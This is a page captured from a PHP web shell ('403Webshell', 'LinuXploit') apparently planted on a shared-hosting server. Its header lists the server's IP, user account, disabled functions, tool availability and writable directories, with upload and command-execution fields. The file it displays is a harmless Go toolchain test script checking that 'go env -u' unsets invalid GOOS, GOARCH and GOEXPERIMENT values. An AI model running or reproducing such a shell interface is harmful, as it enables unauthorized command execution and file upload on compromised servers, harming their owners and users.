403Webshell
Server IP : 2.57.91.144  /  Your IP : 216.73.216.171
Web Server : LiteSpeed
System : Linux lt-bnk-web922.main-hosting.eu 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : u970350538 ( 970350538)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/golang/1.22.0/src/cmd/go/testdata/script/env_unset.txt
# Test that we can unset variables, even if initially invalid,
# as long as resulting config is valid.

env GOENV=badenv
env GOOS=
env GOARCH=
env GOEXPERIMENT=

! go env
stderr '^go(\.exe)?: unknown GOEXPERIMENT badexp$'

go env -u GOEXPERIMENT

! go env
stderr '^go: unsupported GOOS/GOARCH pair bados/badarch$'

! go env -u GOOS
stderr '^go: unsupported GOOS/GOARCH pair \w+/badarch$'

! go env -u GOARCH
stderr '^go: unsupported GOOS/GOARCH pair bados/\w+$'

go env -u GOOS GOARCH

go env

-- badenv --
GOOS=bados
GOARCH=badarch
GOEXPERIMENT=badexp

Youez - 2016 - github.com/yon3zu
LinuXploit